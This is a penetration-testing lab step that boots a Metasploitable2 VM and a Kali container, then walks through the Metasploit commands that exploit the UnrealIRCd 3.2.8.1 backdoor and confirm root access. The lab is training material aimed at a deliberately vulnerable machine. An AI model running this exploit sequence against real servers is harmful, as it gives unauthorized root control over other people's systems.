Gain Root Access on the Target Machine
In this step, we will use the Unreal Ircd vulnerability to gain root access on the target machine.
Now you will start the attack machine (Kali Linux container) and the target machine (Metasploitable2 virtual machine) for the experiment.
- Open an xfce terminal on the LabEx host machine and start the Metasploitable2 target by running the following command:
sudo virsh start Metasploitable2
- Test the connectivity to the target machine by pinging it:
ping 192.168.122.102
Press Ctrl+C
to stop the ping.
- Launch the Kali Linux container and enter the bash environment by running:
docker run -ti --network host b5b709a49cd5 bash
- Inside the Kali container, test the network connection to the target machine:
ping 192.168.122.102
Press Ctrl+C
to stop the ping.
Now both the attack machine and the target machine are running, and you can start the penetration testing.
Note: If you accidentally exit the current bash, the Kali container will automatically stop. You can execute docker run -ti --network host b5b709a49cd5 bash
again on the host to start a new Kali container and enter bash to continue the experiment.
- In the Kali Linux container, enter the following commands in the Kali Linux bash terminal:
service postgresql start
msfdb init
cd ~
msfconsole
This will start the PostgreSQL database service, initialize the database, and launch the Metasploit Framework Console (msfconsole) for further operations.
- Search for the Unreal Ircd vulnerability module:
search unreal_ircd
- Use the
unix/irc/unreal_ircd_3281_backdoor
module:
use exploit/unix/irc/unreal_ircd_3281_backdoor
- Set the target IP address:
set RHOST 192.168.122.102
- Exploit the vulnerability to gain access:
exploit
- Check the current user:
whoami
You should see that you have gained root access on the target machine.
Press Ctrl+D to quit the Metasploit console then start the inspection